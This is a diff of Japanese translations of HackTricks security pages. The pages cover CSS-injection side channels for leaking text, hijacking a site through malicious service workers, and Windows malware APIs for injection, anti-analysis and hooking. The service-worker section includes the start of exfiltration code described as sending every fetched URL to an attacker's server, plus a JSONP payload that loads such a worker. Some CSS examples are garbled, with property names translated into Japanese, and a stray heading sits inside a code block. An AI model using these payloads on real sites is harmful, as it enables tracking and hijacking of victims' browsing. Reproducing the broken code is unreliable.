||||
このトリックは、この[**Slackersスレッド**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/)で公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされている**デフォルトフォント**を使用して漏洩できます:外部のカスタムフォントは必要ありません。
|
||||
|
||||
このコンセプトは、アニメーションを利用して`div`の幅を段階的に拡大し、1文字ずつテキストの「接尾辞」部分から「接頭辞」部分に移行させることを可能にすることに関わります。このプロセスにより、テキストは次の2つのセクションに分割されます:
|
||||
このコンセプトは、アニメーションを利用して`div`の幅を段階的に拡大し、1文字ずつ「接尾辞」部分から「接頭辞」部分に移行させることで、テキストを2つのセクションに効果的に分割することに関わります:
|
||||
|
||||
1. **接頭辞**:初期の行。
|
||||
2. **接尾辞**:後続の行。
|
||||
1. **接頭辞**: 初期の行。
|
||||
2. **接尾辞**: 後続の行。
|
||||
|
||||
文字の遷移段階は次のように表示されます:
|
||||
|
||||
|
@ -269,7 +269,6 @@ B
|
|||
|
||||
**CADB**
|
||||
|
||||
|
||||
この遷移中、**unicode-rangeトリック**が使用され、各新しい文字が接頭辞に加わるたびに識別されます。これは、デフォルトフォントよりも明らかに高いComic Sansフォントにフォントを切り替えることによって達成され、結果として垂直スクロールバーがトリガーされます。このスクロールバーの表示により、接頭辞に新しい文字が存在することが間接的に明らかになります。
|
||||
|
||||
この方法は、新しい文字が現れるたびに一意の文字を検出することを可能にしますが、繰り返された文字がどれであるかを特定しません。
|
||||
|
@ -384,20 +383,19 @@ text-transform: uppercase; /* only capital letters leak */
|
|||
4% { width: 80px }
|
||||
4% { width: 100px }
|
||||
```markdown
|
||||
### CSSインジェクション
|
||||
|
||||
5% { width: 120px }
|
||||
6% { width: 140px }
|
||||
7% { width: 0px }
|
||||
```css
|
||||
5% { 幅: 120px }
|
||||
6% { 幅: 140px }
|
||||
7% { 幅: 0px }
|
||||
}
|
||||
|
||||
div::-webkit-scrollbar {
|
||||
background: blue;
|
||||
背景: 青色;
|
||||
}
|
||||
|
||||
/* side-channel */
|
||||
div::-webkit-scrollbar:vertical {
|
||||
background: blue var(--leak);
|
||||
背景: 青色 var(--leak);
|
||||
}
|
||||
```
|
||||
### テキストノードの情報漏洩(III):デフォルトフォントを使用して要素を非表示にすることで文字セットを漏洩する(外部アセットは不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
@ -418,15 +416,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
|||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
もし一致があれば、**フォントは `/static/bootstrap.min.css?q=1` から読み込まれます**。読み込みは成功しませんが、**ブラウザはキャッシュする**はずであり、キャッシュがなくても **304 Not Modified** のメカニズムがあるため、**他の方法よりも応答が速くなるはず**です。
|
||||
もし一致があれば、**フォントは `/static/bootstrap.min.css?q=1` から読み込まれます**。読み込みは成功しませんが、**ブラウザはそれをキャッシュ**し、キャッシュがなくても **304 not modified** のメカニズムがあるため、**他のものよりも応答が速くなるはず**です。
|
||||
|
||||
ただし、キャッシュされた応答と非キャッシュの応答の時間差が十分に大きくない場合、これは役に立ちません。例えば、著者は次のように述べています: しかし、テストの結果、最初の問題は速度があまり変わらないことであり、2番目の問題はボットが `disk-cache-size=1` フラグを使用していることですが、これは本当に考えられています。
|
||||
ただし、キャッシュされた応答と非キャッシュされた応答の時間差が十分に大きくない場合、これは役に立ちません。たとえば、著者は次のように述べています: しかし、テストの結果、最初の問題は速度があまり変わらないことであり、2番目の問題はボットが `disk-cache-size=1` フラグを使用していることですが、これは本当に考えられています。
|
||||
|
||||
### テキストノードの情報漏洩(III): 数百のローカル "フォント" を読み込むことで文字セットを漏洩する(外部アセットは不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### テキストノードの情報漏洩(III): ローカルの「フォント」を数百個読み込むことによる文字セットの漏洩(外部アセットは不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参考:** これは [この解説記事で不成功な解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**参照:** これは [この解説記事での成功しなかった解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
この場合、一致が発生したときに **CSS で数百の偽のフォントを読み込む**ように指定できます。この方法で **かかる時間** を測定し、何らかの方法で文字が表示されるかどうかを調べることができます。
|
||||
この場合、一致が発生すると、**CSS で同じオリジンから数百の偽のフォントを読み込む**ように指定できます。この方法で、**かかる時間**を測定し、文字が表示されるかどうかを次のように確認できます:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
@ -452,20 +450,20 @@ time.sleep(30)
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -5,16 +5,16 @@
|
|||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@
|
|||
|
||||
## 基本情報
|
||||
|
||||
**サービスワーカー**は、ブラウザでバックグラウンドで実行されるスクリプトであり、Webページやユーザーの操作を必要としない機能を可能にし、**オフラインおよびバックグラウンド処理**の機能を強化します。サービスワーカーの詳細情報は[こちら](https://developers.google.com/web/fundamentals/primers/service-workers)で見つけることができます。脆弱なWebドメイン内のサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページとの被害者のやり取りを制御することができます。
|
||||
**サービスワーカー**は、ブラウザがバックグラウンドで実行するスクリプトであり、Webページやユーザーの操作を必要としない機能を可能にし、**オフラインおよびバックグラウンド処理**の機能を強化します。サービスワーカーの詳細情報は[こちら](https://developers.google.com/web/fundamentals/primers/service-workers)で見つけることができます。脆弱なWebドメイン内のサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページとの被害者のやり取りを制御することができます。
|
||||
|
||||
### 既存のサービスワーカーの確認
|
||||
|
||||
|
@ -30,16 +30,16 @@
|
|||
|
||||
### プッシュ通知
|
||||
|
||||
**プッシュ通知の許可**は、**サービスワーカー**が直接ユーザーの操作なしにサーバーと通信する能力に直接影響します。許可が拒否されると、サービスワーカーの潜在的な脅威を制限します。逆に、許可を与えることで、潜在的な脆弱性の受信と実行を可能にすることでセキュリティリスクが増加します。
|
||||
**プッシュ通知の許可**は、**サービスワーカー**が直接ユーザーの操作なしにサーバーと通信する能力に直接影響します。許可が拒否されると、サービスワーカーの潜在能力が制限され、継続的な脅威をもたらす可能性があります。逆に、許可を与えることで、潜在的な脆弱性の受信と実行を可能にすることでセキュリティリスクが増加します。
|
||||
|
||||
## サービスワーカーを作成する攻撃
|
||||
|
||||
この脆弱性を悪用するには、次のものを見つける必要があります:
|
||||
|
||||
* サーバーに**任意のJSファイルをアップロード**する方法と、アップロードされたJSファイルのサービスワーカーを**ロードするXSS**
|
||||
* **出力を操作できる脆弱なJSONPリクエスト**と、**任意のJSコードで出力を操作**することができる**脆弱なJSONPリクエスト**と、**悪意のあるサービスワーカーをロードするペイロード**でJSONPを**ロードするXSS**。
|
||||
* **任意のJSファイルをサーバーにアップロードする方法**と、アップロードされたJSファイルの**サービスワーカーをロードするXSS**
|
||||
* **出力を操作できる脆弱なJSONPリクエスト**と、**任意のJSコードで出力を操作**できる**脆弱なJSONP**に**ペイロードをロードするXSS**と、**悪意のあるサービスワーカーをロード**するための**ペイロード**
|
||||
|
||||
以下の例では、`fetch`イベントをリッスンし、**取得されたすべてのURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録**するコードを示します(これは**サーバーにアップロード**するためのコードまたは**脆弱なJSONP**応答を介してロードするためのコードです):
|
||||
以下の例では、`fetch`イベントをリッスンし、**取得されたすべてのURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録**するコードを示します:
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
|
@ -70,7 +70,7 @@ var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.requ
|
|||
```
|
||||
**Service Worker (SW)** の悪用に特化した **C2** があり、[**Shadow Workers**](https://shadow-workers.github.io) と呼ばれており、これらの脆弱性を悪用するのに非常に役立ちます。
|
||||
|
||||
**24時間キャッシュディレクティブ** は、XSSの脆弱性修正後、オンラインクライアントの状態を前提として、悪意のあるまたは侵害された **service worker (SW)** の寿命を最大24時間に制限します。脆弱性を最小限に抑えるために、サイトの運営者は SW スクリプトの Time-To-Live (TTL) を下げることができます。開発者はまた、迅速な無効化のために [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) を作成することが推奨されています。
|
||||
**24時間キャッシュディレクティブ** は、XSSの脆弱性が修正された後、オンラインクライアントの状態を前提として、悪意のあるまたは侵害された **service worker (SW)** の寿命を最大で24時間に制限します。脆弱性を最小限に抑えるために、サイトの運営者は SW スクリプトの Time-To-Live (TTL) を下げることができます。開発者はまた、迅速な無効化のために [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) を作成することが推奨されています。
|
||||
|
||||
## DOM Clobbering を介した SW での `importScripts` の悪用
|
||||
|
||||
|
@ -96,13 +96,13 @@ self.importScripts(host + "/sw_extra.js");
|
|||
```
|
||||
### DOM Clobberingを使用する
|
||||
|
||||
DOM Clobberingについての詳細は、以下を参照してください:
|
||||
DOM Clobberingについての詳細は、以下を参照してください:
|
||||
|
||||
{% content-ref url="dom-clobbering.md" %}
|
||||
[dom-clobbering.md](dom-clobbering.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
SWが**`importScripts`**を呼び出すURL/ドメインが**HTML要素内にある場合**、DOM Clobberingを使用してそれを変更し、SWが**自分のドメインからスクリプトを読み込むようにする**ことが可能です。
|
||||
SWが**`importScripts`**を呼び出すURL/ドメインが**HTML要素内にある**場合、DOM Clobberingを使用してそれを変更し、SWが**自分自身のドメインからスクリプトを読み込むように**することが可能です。
|
||||
|
||||
これの例については、参照リンクを確認してください。
|
||||
|
||||
|
@ -112,18 +112,18 @@ SWが**`importScripts`**を呼び出すURL/ドメインが**HTML要素内にあ
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**PDFでHackTricksをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong>!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
- **Discordグループ**に参加💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 一般的
|
||||
## 一般的な
|
||||
|
||||
### ネットワーキング
|
||||
|
||||
|
@ -61,24 +61,24 @@ HackTricksをサポートする他の方法:
|
|||
### 反解析/VM
|
||||
|
||||
| 関数名 | アセンブリ命令 |
|
||||
| --------------------------------------------------------- | --------------------- |
|
||||
| IsDebuggerPresent() | CPUID() |
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[プロセスが実行中かどうかを確認] | |
|
||||
| CreateFileW/A \[ファイルが存在するかどうかを確認] | |
|
||||
| ------------------------------------------------- | ------------- |
|
||||
| IsDebuggerPresent() | CPUID() |
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[プロセスが実行中か確認] | |
|
||||
| CreateFileW/A \[ファイルが存在するか確認] | |
|
||||
|
||||
### ステルス
|
||||
|
||||
| 名前 | |
|
||||
| ------------------------ | -------------------------------------------------------------------------- |
|
||||
| VirtualAlloc | メモリの割り当て(パッカー) |
|
||||
| VirtualProtect | メモリの権限変更(セクションに実行権限を与えるパッカー) |
|
||||
| VirtualAlloc | メモリの割り当て(パッカー) |
|
||||
| VirtualProtect | メモリの権限変更(セクションに実行権限を与えるパッカー) |
|
||||
| ReadProcessMemory | 外部プロセスへのインジェクション |
|
||||
| WriteProcessMemoryA/W | 外部プロセスへのインジェクション |
|
||||
| NtWriteVirtualMemory | |
|
||||
| CreateRemoteThread | DLL/プロセスインジェクション... |
|
||||
| CreateRemoteThread | DLL/プロセスインジェクション... |
|
||||
| NtUnmapViewOfSection | |
|
||||
| QueueUserAPC | |
|
||||
| CreateProcessInternalA/W | |
|
||||
|
@ -86,7 +86,7 @@ HackTricksをサポートする他の方法:
|
|||
### 実行
|
||||
|
||||
| 関数名 |
|
||||
| ---------------- |
|
||||
| ---------- |
|
||||
| CreateProcessA/W |
|
||||
| ShellExecute |
|
||||
| WinExec |
|
||||
|
@ -149,27 +149,27 @@ Portable Execution Injection:実行可能ファイルが被害者プロセス
|
|||
|
||||
## フック
|
||||
|
||||
* **SSDT**(**System Service Descriptor Table**)はカーネル関数(ntoskrnl.exe)またはGUIドライバ(win32k.sys)を指し、ユーザープロセスがこれらの関数を呼び出すことができるようにします。
|
||||
* **SSDT**(**System Service Descriptor Table**)はカーネル関数(ntoskrnl.exe)またはGUIドライバ(win32k.sys)を指し示し、ユーザープロセスがこれらの関数を呼び出すことができるようにします。
|
||||
* ルートキットはこれらのポインタを制御するアドレスに変更する可能性があります
|
||||
* **IRP**(**I/O Request Packets**)はデータの断片を1つのコンポーネントから別のコンポーネントに転送します。カーネルのほとんどすべてがIRPを使用し、各デバイスオブジェクトにはフックできる関数テーブルがあります:DKOM(Direct Kernel Object Manipulation)
|
||||
* **IAT**(**Import Address Table**)は依存関係を解決するのに役立ちます。このテーブルをフックして、呼び出されるコードを乗っ取ることができます。
|
||||
* **EAT**(**Export Address Table**)フック。これらのフックは**ユーザーランド**から行うことができます。目標は、DLLによってエクスポートされた関数をフックすることです。
|
||||
* **インラインフック**:このタイプは難しいです。これは関数自体のコードを変更することを含みます。たとえば、これを行うためには、この関数の先頭にジャンプを配置するなどの方法があります。
|
||||
* **IRP**(**I/O Request Packets**)はデータの断片を1つのコンポーネントから別のコンポーネントに転送します。カーネルのほとんどすべてがIRPを使用し、各デバイスオブジェクトには独自の関数テーブルがあり、これをフックすることができます:DKOM(Direct Kernel Object Manipulation)
|
||||
* **IAT**(**Import Address Table**)は依存関係を解決するために役立ちます。このテーブルをフックして、呼び出されるコードを乗っ取ることができます。
|
||||
* **EAT**(**Export Address Table**)フック。これらのフックは**ユーザーランド**から行うことができます。目的は、DLLによってエクスポートされた関数をフックすることです。
|
||||
* **インラインフック**:このタイプは難しいです。これは関数自体のコードを変更することを含みます。たとえば、この先頭にジャンプを配置することがあります。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong>!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
- **Discordグループ**に参加💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **HackTricks**の[**GitHub**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のリポジトリにPRを送信して、あなたのハッキングテクニックを共有してください。
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。**
|
||||
|
|
|
@ -4,19 +4,19 @@
|
|||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,19 +24,19 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
## ImGuiベースのリバースエンジニアリングツール
|
||||
|
||||
ソフトウェア:
|
||||
ソフトウェア:
|
||||
|
||||
* ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
|
||||
|
||||
## Wasmデコンパイラ/Watコンパイラ
|
||||
## Wasmデコンパイラ / Watコンパイラ
|
||||
|
||||
オンライン:
|
||||
オンライン:
|
||||
|
||||
* [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)を使用して、wasm(バイナリ)からwat(クリアテキスト)に**デコンパイル**します
|
||||
